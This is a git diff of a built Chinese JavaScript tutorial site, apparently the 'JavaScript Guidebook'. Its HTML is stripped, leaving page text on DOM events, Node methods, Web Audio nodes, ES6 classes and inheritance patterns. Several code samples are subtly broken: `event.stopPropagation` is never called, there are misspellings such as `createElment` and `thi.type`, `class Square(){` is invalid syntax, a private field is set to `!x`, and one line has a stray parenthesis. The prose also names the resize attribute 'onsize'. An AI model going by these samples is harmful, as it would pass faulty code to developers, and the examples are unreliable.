                                                        abort在用户停止下载过程时,如果嵌入的内容没有加载完,则在元素上面触发。
                                                        error当发生 JavasScript 错误时在 window 上面触发,当无法加载图片时在<img>元素上面触发,当元素加载嵌入内容时在元素上面触发,或者当有一或多个框架无法加载时在框架集上面触发。
                                                        select当用户选择文本框中的一个可多个字符时触发。
                                                        resize当窗口或框架的大小变化(<input><textarea)时在 window 或框架上面触发。
                                                        scroll当用户流动带有流动条的元素中的内容时,在该元素上面触发。元素中包含所加载页面的流动条。

                                                        load 事件

                                                        当页面完全加载后(包括所有图像、JavaScript 文件、CSS 文件等外部资源),就会触发 window 上面的 load 事件。

                                                        有两种定义 load 事件的方式:

                                                        • 通过 JavaScript 事件处理程序定义

                                                          window.addEventListener('load', function(event) {
                                                          // do something
                                                          });
                                                        • 通过为 <body> 元素添加 onload 特性

                                                          <body onload="console.log('Loaded!')"></body>

                                                        unload 事件

                                                        与 load 事件对应的是 unload 事件,这个事件在文档被完全卸载后触发。只要用户从一个页面切换到另一个页面,unload 事件就会触发。而利用这个事件最多的情况就是清除引用,以避免内存泄漏。

                                                        unload 事件的定义方式与 load 事件相同。

                                                        resize 事件

                                                        当浏览器窗口被调整到一个新的高度或宽度时,就会触发 resize 事件。这个事件在 window(窗口)上面触发,因此可以通过 JavaScript 或者 <body> 元素中的 onsize 特性来指定事件处理程序。

                                                        关于何时会触发 resize 事件,不同浏览器有不同的机制。IE、Safari、Chrome 和 Opera 会在浏览器窗口变化了 1 像素时就触发 resize 事件,然后随着变化不断重复触发。FIrefox 则只会在用户停止调整窗口变化时才会触发 resize 事件。由于 存在这个差别,应该注意不要在这个事件的处理程序中加入大计算的代码。因为这些代码有可能被频繁执行,从而导致浏览器反应明显变慢。

                                                        scroll 事件

                                                        虽然 scroll 事件是在 window 对象上发生的,但它实际表示的则是页面中相应元素的变化。在混杂模式下,可以通过 <body> 元素的 scrollLeftscrollTop 来监控到这一变化;而在标准模式下,除 Safari 之外的所有浏览器都会通过 <html> 元素来反映这一变化(Safari 仍然基于 <body> 跟踪滚动位置)。

                                                        与 resize 事件类似,scroll 事件也会在文档被滚动期间重复被触发,所以有必要尽量保持事件处理程序的代码简单。

                                                        - + diff --git a/document-object-model/events/event-types/uncategorized-events/index.html b/document-object-model/events/event-types/uncategorized-events/index.html index 24412dc59..a98bd2103 100644 --- a/document-object-model/events/event-types/uncategorized-events/index.html +++ b/document-object-model/events/event-types/uncategorized-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 未分类事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/update-events/index.html b/document-object-model/events/event-types/update-events/index.html index 0b71d38c6..c43817d49 100644 --- a/document-object-model/events/event-types/update-events/index.html +++ b/document-object-model/events/event-types/update-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 更新事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/value-change-events/index.html b/document-object-model/events/event-types/value-change-events/index.html index 0894248a0..71e8835be 100644 --- a/document-object-model/events/event-types/value-change-events/index.html +++ b/document-object-model/events/event-types/value-change-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 值变化事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/view-events/index.html b/document-object-model/events/event-types/view-events/index.html index a13e1a8f6..f2b4bb8e8 100644 --- a/document-object-model/events/event-types/view-events/index.html +++ b/document-object-model/events/event-types/view-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 视图事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/websocket-events/index.html b/document-object-model/events/event-types/websocket-events/index.html index c82d4bb33..965645d12 100644 --- a/document-object-model/events/event-types/websocket-events/index.html +++ b/document-object-model/events/event-types/websocket-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + WebSocket 事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/index.html b/document-object-model/events/index.html index a0651bd1c..e206c9700 100644 --- a/document-object-model/events/index.html +++ b/document-object-model/events/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/events/the-event-object/index.html b/document-object-model/events/the-event-object/index.html index 7d477e559..7fe9e8298 100644 --- a/document-object-model/events/the-event-object/index.html +++ b/document-object-model/events/the-event-object/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                                                        getTarget: function(event) {
                                                        return event.target || event.srcElement;
                                                        }
                                                        preventDefault: function(event) {
                                                        if (event.preventDefault){
                                                        event.preventDefault();
                                                        } else {
                                                        event.returnValue = false;
                                                        }
                                                        }
                                                        removeHandler: function(element, type, handler) {
                                                        // 省略的代码
                                                        }
                                                        -
                                                        stopPropagation: function(event) {
                                                        if (event.stopPropagation) {
                                                        event.stopPropagation;
                                                        } else {
                                                        event.cancelBubble = true;
                                                        }
                                                        }
                                                        }

                                                        参考资料:

                                                        +
                                                        stopPropagation: function(event) {
                                                        if (event.stopPropagation) {
                                                        event.stopPropagation;
                                                        } else {
                                                        event.cancelBubble = true;
                                                        }
                                                        }
                                                        }

                                                        参考资料:

                                                        - + diff --git a/document-object-model/index.html b/document-object-model/index.html index 0adccae2b..00d3677cb 100644 --- a/document-object-model/index.html +++ b/document-object-model/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + DOM 文档对象模型 - JavaScript Guidebook -
                                                          +
                                                            - + diff --git a/document-object-model/multimedia/audio-buffer/index.html b/document-object-model/multimedia/audio-buffer/index.html index 8d531f2cc..0ed4a9bed 100644 --- a/document-object-model/multimedia/audio-buffer/index.html +++ b/document-object-model/multimedia/audio-buffer/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + AudioBuffer - JavaScript Guidebook -
                                                            +
                                                            - + diff --git a/document-object-model/multimedia/audio-node/index.html b/document-object-model/multimedia/audio-node/index.html index 78eb29c64..352b5bbbe 100644 --- a/document-object-model/multimedia/audio-node/index.html +++ b/document-object-model/multimedia/audio-node/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                                                            let controlVolume = value => {
                                                            gainNode.gain.value = value);
                                                            }
                                                            // 两倍音量播放
                                                            controlVolume(2);
                                                            AuditoContext2

                                                            戳我看栗子点击预览

                                                            BiquadFilterNode

                                                            表示一个简单的低频滤波器,可控制声调。它是一个 AudioNode 类型的音频处理模块。

                                                            let filterNode = audioContext.createBiquadFilter();

                                                            输出一个变调的音频:

                                                            bufferSource.connect(filterNode);
                                                            filterNode.connect(audioDestinationNode);
                                                            let controlFrequency = function (value) {
                                                            filterNode.frequency.value = value;
                                                            };
                                                            -
                                                            // 音频为1000变调
                                                            controlFrequency(1000);

                                                            多个音频源

                                                            在一个音频上下文中,可以有多个音频处理通道,即多个音频源同时输出。各个音频处理通道内的操作是独立的,不影响其他音频通道。

                                                            AudioContext3

                                                            戳我看栗子点击预览

                                                            多个音频处理模块

                                                            一个音频源可以经过多个音频处理模块处理,音频处理模块叠加效果后输出。

                                                            Webpack执行流程 +
                                                            // 音频为1000变调
                                                            controlFrequency(1000);

                                                            多个音频源

                                                            在一个音频上下文中,可以有多个音频处理通道,即多个音频源同时输出。各个音频处理通道内的操作是独立的,不影响其他音频通道。

                                                            AudioContext3

                                                            戳我看栗子点击预览

                                                            多个音频处理模块

                                                            一个音频源可以经过多个音频处理模块处理,音频处理模块叠加效果后输出。

                                                            Webpack执行流程 - + diff --git a/document-object-model/multimedia/audio-track/index.html b/document-object-model/multimedia/audio-track/index.html index 0d85c5db4..546a5f7e6 100644 --- a/document-object-model/multimedia/audio-track/index.html +++ b/document-object-model/multimedia/audio-track/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + AudioTrack - JavaScript Guidebook -
                                                            +
                                                            - + diff --git a/document-object-model/multimedia/index.html b/document-object-model/multimedia/index.html index 27858dc36..6ba3ffda2 100644 --- a/document-object-model/multimedia/index.html +++ b/document-object-model/multimedia/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/node/index.html b/document-object-model/node/index.html index 6f88c3a9d..0257dff4e 100644 --- a/document-object-model/node/index.html +++ b/document-object-model/node/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/node/node-methods/index.html b/document-object-model/node/node-methods/index.html index 4656304eb..3ee442964 100644 --- a/document-object-model/node/node-methods/index.html +++ b/document-object-model/node/node-methods/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -46,12 +49,12 @@
                                                            item1.after(li);

                                                            运行后:

                                                            <ul class="list">
                                                            <li class="item1"></li>
                                                            <li class="item2"></li>
                                                            <li class="item3"></li>
                                                            <li>Hello world!</li>
                                                            </ul>

                                                            ChildNode.replaceWith

                                                            替换当前节点为另一节点。

                                                            📖 语法:

                                                            ChildNode.replaceWith(node);

                                                            🌰 示例:

                                                            const parent = document.createElement('div');
                                                            const child = document.createElment('p');
                                                            parent.appendChild(child);
                                                            const span = document.createElement('span');
                                                            child.replaceWith(span);
                                                            -
                                                            console.log(parent.outerHTML);
                                                            // '<div><span></span></div>'
                                                            +
                                                            console.log(parent.outerHTML);
                                                            // '<div><span></span></div>'
                                                            - + diff --git a/document-object-model/node/node-properties/index.html b/document-object-model/node/node-properties/index.html index 1d7248adc..8dbf6428a 100644 --- a/document-object-model/node/node-properties/index.html +++ b/document-object-model/node/node-properties/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -48,12 +51,12 @@
                                                            console.log(foo.lastElementChild);
                                                            // <div class="foo-3"></div>

                                                            Node.childNodes

                                                            获取节点的子节点列表(NodeList)。

                                                            const foo = document.querySelector('.foo');
                                                            console.log(foo.childNodes);
                                                            // NodeList(7) [text, div.foo-1, text, div.foo-2, text, div.foo-3, text]

                                                            Node.children

                                                            获取节点的子元素节点列表(HTMLCollection)。

                                                            const foo = document.querySelector('.foo');
                                                            console.log(foo.children);
                                                            // HTMLCollection(3) [div.foo-1, div.foo-2, div.foo-3]

                                                            Node.childElementCount

                                                            获取当前节点的所有子元素节点的数目。

                                                            const foo = document.querySelector('.foo');
                                                            -
                                                            console.log(foo.childElementCount);
                                                            // 3
                                                            +
                                                            console.log(foo.childElementCount);
                                                            // 3
                                                            - + diff --git a/document-object-model/node/node/index.html b/document-object-model/node/node/index.html index 57a35ad49..05d0f28b2 100644 --- a/document-object-model/node/node/index.html +++ b/document-object-model/node/node/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Node - JavaScript Guidebook -

                                                              Node

                                                              DOM1 级定义了 Node 接口,该接口由 DOM 中的所有节点类型实现。这个接口在 JavaScript 中是作为 Node 类型实现的。因此 JavaScript 中所有的节点类型都继承 Node 类型,所有的类型都共享着相同的基本属性和方法。

                                                              EventTarget <- Node

                                                              以下接口(DOM 对象)都从 Node 继承其方法和属性:

                                                              • Document
                                                              • Element
                                                              • CharacterData(Text、Comment、CDATASection)
                                                              • ProcessingInstruction
                                                              • DocumentFragment
                                                              • DocumentType
                                                              • Notation
                                                              • Entity
                                                              • EntityReference
                                                              +

                                                                Node

                                                                DOM1 级定义了 Node 接口,该接口由 DOM 中的所有节点类型实现。这个接口在 JavaScript 中是作为 Node 类型实现的。因此 JavaScript 中所有的节点类型都继承 Node 类型,所有的类型都共享着相同的基本属性和方法。

                                                                EventTarget <- Node

                                                                以下接口(DOM 对象)都从 Node 继承其方法和属性:

                                                                • Document
                                                                • Element
                                                                • CharacterData(Text、Comment、CDATASection)
                                                                • ProcessingInstruction
                                                                • DocumentFragment
                                                                • DocumentType
                                                                • Notation
                                                                • Entity
                                                                • EntityReference
                                                                - + diff --git a/index.html b/index.html index d695ce37a..7a76829c2 100644 --- a/index.html +++ b/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,6 +40,6 @@ window.g_initialProps = {}; - + diff --git a/object-oriented-programming/class-definitions/class-basic/index.html b/object-oriented-programming/class-definitions/class-basic/index.html index fb8ed9097..1d1b4b074 100644 --- a/object-oriented-programming/class-definitions/class-basic/index.html +++ b/object-oriented-programming/class-definitions/class-basic/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -40,12 +43,12 @@
                                                                Student.run = 'abc'
                                                                // set: abc
                                                                Student.run
                                                                // get

                                                                属性表达式

                                                                类的属性名,可以采用表达式。

                                                                const methodName = 'getArea'
                                                                class Square(){
                                                                constructor(length){
                                                                // ...
                                                                }
                                                                [methodName](){
                                                                // ...
                                                                }
                                                                }

                                                                生成器方法

                                                                如果某个方法之前加上星号(*),就表示该方法是一个生成器方法(Generator 函数)。

                                                                class Foo {
                                                                constructor(...args) {
                                                                this.args = args;
                                                                }
                                                                *[Symbol.iterator]() {
                                                                for (let arg of this.args) {
                                                                yield arg;
                                                                }
                                                                }
                                                                }
                                                                -
                                                                for (let x of new Foo('hello', 'world')) {
                                                                console.log(x);
                                                                }
                                                                // hello
                                                                // world

                                                                运行环境的指向

                                                                类的方法内部如果含有 this,它默认指向 类的实例

                                                                但是,如果将类方法内部的方法提取出来单独使用,this 会指向该方法 运行时所在的环境,因为找不到相对应的方法而导致报错。

                                                                因此,需要 在构造函数中绑定 this ,这样就不会找不到相对应的方法。

                                                                class Student {
                                                                constructor() {
                                                                this.sayName = this.sayName.bind(this);
                                                                }
                                                                }

                                                                另一种解决方法是使用 箭头函数

                                                                class Car {
                                                                constructor() {
                                                                this.sayName = (name = 'BOT') => {
                                                                this.sayName(`My name is ${name}`);
                                                                };
                                                                }
                                                                }

                                                                还有一种解决方法是使用 Proxy ,获取方法的时候,自动绑定 this


                                                                参考资料:

                                                                +
                                                                for (let x of new Foo('hello', 'world')) {
                                                                console.log(x);
                                                                }
                                                                // hello
                                                                // world

                                                                运行环境的指向

                                                                类的方法内部如果含有 this,它默认指向 类的实例

                                                                但是,如果将类方法内部的方法提取出来单独使用,this 会指向该方法 运行时所在的环境,因为找不到相对应的方法而导致报错。

                                                                因此,需要 在构造函数中绑定 this ,这样就不会找不到相对应的方法。

                                                                class Student {
                                                                constructor() {
                                                                this.sayName = this.sayName.bind(this);
                                                                }
                                                                }

                                                                另一种解决方法是使用 箭头函数

                                                                class Car {
                                                                constructor() {
                                                                this.sayName = (name = 'BOT') => {
                                                                this.sayName(`My name is ${name}`);
                                                                };
                                                                }
                                                                }

                                                                还有一种解决方法是使用 Proxy ,获取方法的时候,自动绑定 this


                                                                参考资料:

                                                                - + diff --git a/object-oriented-programming/class-definitions/class-extends/index.html b/object-oriented-programming/class-definitions/class-extends/index.html index b9a02ea05..76c4d6be5 100644 --- a/object-oriented-programming/class-definitions/class-extends/index.html +++ b/object-oriented-programming/class-definitions/class-extends/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -56,12 +59,12 @@
                                                                Parent.__proto__ === Function.prototype;
                                                                // true
                                                                Parent.prototype.__proto__ === Object.prototype;
                                                                // true

                                                                这种情况下,Parent 作为一个基类(即不存在任何继承),就是一个普通函数,所以直接继承 Function.prototype

                                                                但是,Parent 实例化后返回一个空对象(即 Object 实例),所以 Parent.prototype.__proto__ 指向构造函数(Object)的 prototype 属性。

                                                                内置对象的继承

                                                                内置对象(又称原生构造函数)是指内置的构造函数,通常用来生成数据结构。

                                                                过去,原生构造函数是无法继承的,比如,不能自己定义一个 Array 的子类。之所以这样,是因为子类无法获得原生构造函数的内部属性,通过 Array.apply() 或者分配给原型对象都不行。原生构造函数会忽略 apply 方法传入的 this,也就是说,原生构造函数 this 无法绑定,导致拿不到内部属性。

                                                                而在 ES6 中允许继承原生构造函数定义子类,因为 ES6 是先新建父类的实例对象 this ,然后再用子类的构造函数修饰 this,使得父类的所有行为都可以继承。下面是一个继承 Array 的例子。

                                                                class SubArray extends Array {
                                                                constructor(...args) {
                                                                super(...args);
                                                                }
                                                                }
                                                                var arr = new SubArray();
                                                                arr[0] = 12;
                                                                console.log(arr.length);
                                                                // 1
                                                                arr.length = 0;
                                                                console.log(arr[0]);
                                                                // undefined

                                                                上面的例子说明,extends 关键字不仅可以用来继承类,还可以用来继承原生的构造函数。因此可以在原生数据结构的基础上,定义自己的数据结构。

                                                                ⚠️ 注意: 继承 Object 的子类,有一个行为差异。

                                                                class SubObject extends Object {
                                                                constructor() {
                                                                super(...arguments);
                                                                }
                                                                }
                                                                const obj = new SubObject({ attr: true });
                                                                -
                                                                obj.attr === true;
                                                                // false

                                                                上述代码中,SubObject 继承了 Object ,但是无法通过 super 方法向父类 Object 传参。这是因为 ES6 改变了 Object 构造函数的行为,一旦发现 Object 方法不是通过 new Object() 这种形式调用,ES6 规定 Object 构造函数会忽略参数。


                                                                参考资料:

                                                                +
                                                                obj.attr === true;
                                                                // false

                                                                上述代码中,SubObject 继承了 Object ,但是无法通过 super 方法向父类 Object 传参。这是因为 ES6 改变了 Object 构造函数的行为,一旦发现 Object 方法不是通过 new Object() 这种形式调用,ES6 规定 Object 构造函数会忽略参数。


                                                                参考资料:

                                                                - + diff --git a/object-oriented-programming/class-definitions/class-private-member/index.html b/object-oriented-programming/class-definitions/class-private-member/index.html index d99ada360..0ef764bac 100644 --- a/object-oriented-programming/class-definitions/class-private-member/index.html +++ b/object-oriented-programming/class-definitions/class-private-member/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                                                                // 私有方法
                                                                [bar](parm) {
                                                                return (this[snaf] = baz);
                                                                }
                                                                }

                                                                上面代码中,barsnaf 都是 Symbol 值,导致第三方无法获取到它们,因此达到了私有方法和私有属性的效果。但是也不是绝对不行,使用 Reflect.ownKeys()依然可以拿到它们。

                                                                const instance = new Foo();
                                                                Reflect.ownKeys(Foo.prototype);
                                                                // ['constructor', 'foo', Symbol(bar)]

                                                                引用外部方法

                                                                将私有方法移出模块,因为模块内部的所有方法都是对外可见的。

                                                                class Utils {
                                                                foo(baz) {
                                                                bar.call(this, baz);
                                                                }
                                                                }
                                                                function bar(baz) {
                                                                return (this.snaf = baz);
                                                                }

                                                                私有属性

                                                                详细介绍参考 私有属性的提案

                                                                私有属性是实例中的属性,不会出现在原型上,且只能在类的构造函数或方法中创建。建议在构造函数中创建所有私有属性,从而只通过一处就可以控制所有的私有属性。

                                                                class Student {
                                                                constructor() {
                                                                this.state = {
                                                                visible: true,
                                                                };
                                                                }
                                                                }

                                                                目前,有一项提案,为 class 加了私有属性。方法是属性名之前,使用 # 表示。

                                                                class Point {
                                                                #x;
                                                                constructor (x = 0) {
                                                                #x = !x
                                                                }
                                                                -
                                                                get x () { return #x }
                                                                set x (value) {
                                                                #x = !value
                                                                }
                                                                }

                                                                这种写法不仅可以写私有属性,还可以用来写私有方法。

                                                                +
                                                                get x () { return #x }
                                                                set x (value) {
                                                                #x = !value
                                                                }
                                                                }

                                                                这种写法不仅可以写私有属性,还可以用来写私有方法。

                                                                - + diff --git a/object-oriented-programming/class-definitions/class-static-member/index.html b/object-oriented-programming/class-definitions/class-static-member/index.html index 0855abd83..ad3f50d0f 100644 --- a/object-oriented-programming/class-definitions/class-static-member/index.html +++ b/object-oriented-programming/class-definitions/class-static-member/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
                                                                Bar.sayHi();
                                                                // 'Hello'

                                                                静态属性

                                                                由于在 ES6 中明文规定,类内部只有静态方法,没有静态属性。因此,类的静态属性无法直接在类内部直接定义。

                                                                // 以下写法无效
                                                                class Foo {
                                                                // 写法一
                                                                prop: 2;
                                                                // 写法二
                                                                static prop: 2;
                                                                }

                                                                目前有一个静态属性提案,对实例属性和静态属性都规定了新的写法。

                                                                过去,需要在类的构造函数中定义实例属性。

                                                                现在,类的实例属性可以用等式,写入类的定义之中。这种写法比以前更清晰。

                                                                // Old
                                                                class Foo {
                                                                constructor() {
                                                                this.state = {
                                                                visible: true,
                                                                };
                                                                }
                                                                }
                                                                // New
                                                                class Bar {
                                                                state = {
                                                                visible: true,
                                                                };
                                                                -
                                                                constructor() {
                                                                console.log(this.state.visible); // true
                                                                }
                                                                }

                                                                为了可读性的目的,对于那些在构造函数中已经定义的实例属性,新写法允许直接在类中列出。

                                                                类的静态属性只需在上述的实例属性写法前加上 static 关键字即可。

                                                                class MyClass {
                                                                static state = {
                                                                visible: true,
                                                                };
                                                                constructor() {
                                                                console.log(MyClass.state.visible); // true
                                                                }
                                                                }

                                                                新写法是显式声明(declarative),而非赋值处理,语义更好。

                                                                +
                                                                constructor() {
                                                                console.log(this.state.visible); // true
                                                                }
                                                                }

                                                                为了可读性的目的,对于那些在构造函数中已经定义的实例属性,新写法允许直接在类中列出。

                                                                类的静态属性只需在上述的实例属性写法前加上 static 关键字即可。

                                                                class MyClass {
                                                                static state = {
                                                                visible: true,
                                                                };
                                                                constructor() {
                                                                console.log(MyClass.state.visible); // true
                                                                }
                                                                }

                                                                新写法是显式声明(declarative),而非赋值处理,语义更好。

                                                                - + diff --git a/object-oriented-programming/class-definitions/index.html b/object-oriented-programming/class-definitions/index.html index 80bc090c3..ac41bbd59 100644 --- a/object-oriented-programming/class-definitions/index.html +++ b/object-oriented-programming/class-definitions/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/object-oriented-programming/index.html b/object-oriented-programming/index.html index 08896e70e..7bda70c50 100644 --- a/object-oriented-programming/index.html +++ b/object-oriented-programming/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 目录 - JavaScript Guidebook -
                                                                +
                                                                - + diff --git a/object-oriented-programming/inheritance/combination-inheritance/index.html b/object-oriented-programming/inheritance/combination-inheritance/index.html index 7d51ddee1..bab4405eb 100644 --- a/object-oriented-programming/inheritance/combination-inheritance/index.html +++ b/object-oriented-programming/inheritance/combination-inheritance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -40,12 +43,12 @@
                                                                // After
                                                                Child.prototype = Parent.prototype;

                                                                这种优化方式的缺点是,子类实例对象的构造函数无法区分是子类构造函数还是父类构造函数。

                                                                📌 完美写法:寄生组合式继承

                                                                组合继承优化示例二:通过中间对象,继承父类原型对象,实现子类与父类的隔离

                                                                function Parent() {
                                                                this.name = 'Parent';
                                                                this.num = [0, 1, 2];
                                                                }
                                                                function Child() {
                                                                Parent.call(this);
                                                                thi.type = 'Child';
                                                                }
                                                                Child.prototype = Object.create(Parent.prototype);
                                                                -
                                                                Child.prototype.constructor = Child;
                                                                +
                                                                Child.prototype.constructor = Child;
                                                                - + diff --git a/object-oriented-programming/inheritance/constructor-stealing/index.html b/object-oriented-programming/inheritance/constructor-stealing/index.html index a5f47ab46..4e2ebb5b9 100644 --- a/object-oriented-programming/inheritance/constructor-stealing/index.html +++ b/object-oriented-programming/inheritance/constructor-stealing/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                                                                let girl = new Child();
                                                                console.log(girl.attr);
                                                                // { eye: 'blue', hair: 'black', skin: 'white'}

                                                                在构造函数 Child 内通过 call 方法(或 apply 方法也可以),使得 Parent 的构造函数能在 Child 构造函数的环境下调用。

                                                                如此一来,子类构造函数 Child 上执行父类构造函数 Parent 中定义的所有对象初始化代码。

                                                                Child 的每个实例都会具有自己的继承与父类构造函数的属性的副本。

                                                                ⚠️ 注意: 函数只不过是在特定环境中执行代码的对象,因此通过使用 applycall 方法也可以在新创建的对象上执行构造函数。

                                                                传递参数

                                                                相对于原型链而言,借用构造函数有一个很大的优势,即 可以在子类型构造函数中向父类型构造函数传递参数

                                                                function Parent(name) {
                                                                this.name = name;
                                                                }
                                                                function Child() {
                                                                //继承了 Parent,同时还传递了参数
                                                                Parent.call(this, 'Uzi');
                                                                //实例属性
                                                                this.age = 18;
                                                                }
                                                                -
                                                                const child = new Child();
                                                                console.log(child.name);
                                                                // 'Uzi'
                                                                console.log(child.age);
                                                                // 18

                                                                缺陷

                                                                +
                                                                const child = new Child();
                                                                console.log(child.name);
                                                                // 'Uzi'
                                                                console.log(child.age);
                                                                // 18

                                                                缺陷

                                                                - + diff --git a/object-oriented-programming/inheritance/index.html b/object-oriented-programming/inheritance/index.html index 42577a6a1..99ce7a9c0 100644 --- a/object-oriented-programming/inheritance/index.html +++ b/object-oriented-programming/inheritance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/object-oriented-programming/inheritance/parasitic-combination-inheritance/index.html b/object-oriented-programming/inheritance/parasitic-combination-inheritance/index.html index 6010dbc62..5be222a70 100644 --- a/object-oriented-programming/inheritance/parasitic-combination-inheritance/index.html +++ b/object-oriented-programming/inheritance/parasitic-combination-inheritance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -45,12 +48,12 @@
                                                                boy.sayName();
                                                                // 'Jothan'
                                                                // The second instance
                                                                const girl = new Child('Kat', 18);
                                                                console.log(girl.num);
                                                                // [0, 1, 2]
                                                                -
                                                                girl.sayName();
                                                                // 'Kat'

                                                                这个例子的高效率体现在它只调用了一次 Parent 构造函数,并且因此避免了在 Child.prototype 上面创建不必要的、多余的属性。与此同时,原型链还保持不变。

                                                                +
                                                                girl.sayName();
                                                                // 'Kat'

                                                                这个例子的高效率体现在它只调用了一次 Parent 构造函数,并且因此避免了在 Child.prototype 上面创建不必要的、多余的属性。与此同时,原型链还保持不变。

                                                                - + diff --git a/object-oriented-programming/inheritance/parasitic-inheritance/index.html b/object-oriented-programming/inheritance/parasitic-inheritance/index.html index 69d18cf4c..df79a107a 100644 --- a/object-oriented-programming/inheritance/parasitic-inheritance/index.html +++ b/object-oriented-programming/inheritance/parasitic-inheritance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                                                                // 返回这个对象
                                                                return clone;
                                                                }
                                                                let friendship = {
                                                                name: 'Uzi',
                                                                friends: ['Amy', 'Ben', 'Tom'],
                                                                };
                                                                // 具有实例的原型person的所有属性和方法,也有自己的方法
                                                                let uzi = creator(friendship);
                                                                -
                                                                uzi.sayHi();
                                                                // Hello world!

                                                                在主要考虑对象而 不是自定义类型和构造函数的情况下,寄生式继承也是一种有用的模式。前面示范继承模式时使用的 Object 函数不是必需的,任何能够返回新对象的函数都适用于此模式。

                                                                ⚠️ 注意: 使用寄生式继承来为对象添加函数,会由于不能做到函数复用而降低效率;这一点与借用构造函数模式类似。

                                                                +
                                                                uzi.sayHi();
                                                                // Hello world!

                                                                在主要考虑对象而 不是自定义类型和构造函数的情况下,寄生式继承也是一种有用的模式。前面示范继承模式时使用的 Object 函数不是必需的,任何能够返回新对象的函数都适用于此模式。

                                                                ⚠️ 注意: 使用寄生式继承来为对象添加函数,会由于不能做到函数复用而降低效率;这一点与借用构造函数模式类似。

                                                                - + diff --git a/object-oriented-programming/inheritance/prototypal-inheritance/index.html b/object-oriented-programming/inheritance/prototypal-inheritance/index.html index c44143620..39f7601d2 100644 --- a/object-oriented-programming/inheritance/prototypal-inheritance/index.html +++ b/object-oriented-programming/inheritance/prototypal-inheritance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                                                                let uzi = Object.create(friendship);
                                                                uzi.name = 'Uzi';
                                                                uzi.friends.push('Peter');
                                                                let kat = Object.create(friendship);
                                                                kat.name = 'Kat';
                                                                kat.friends.push('Sid');
                                                                console.log(uzi.__proto__.friends);
                                                                // ["Amy", "Ben", "Tom", "Peter", "Sid"]
                                                                -
                                                                console.log(kat.__proto__.friends);
                                                                // ["Amy", "Ben", "Tom", "Peter", "Sid"]

                                                                模式缺陷

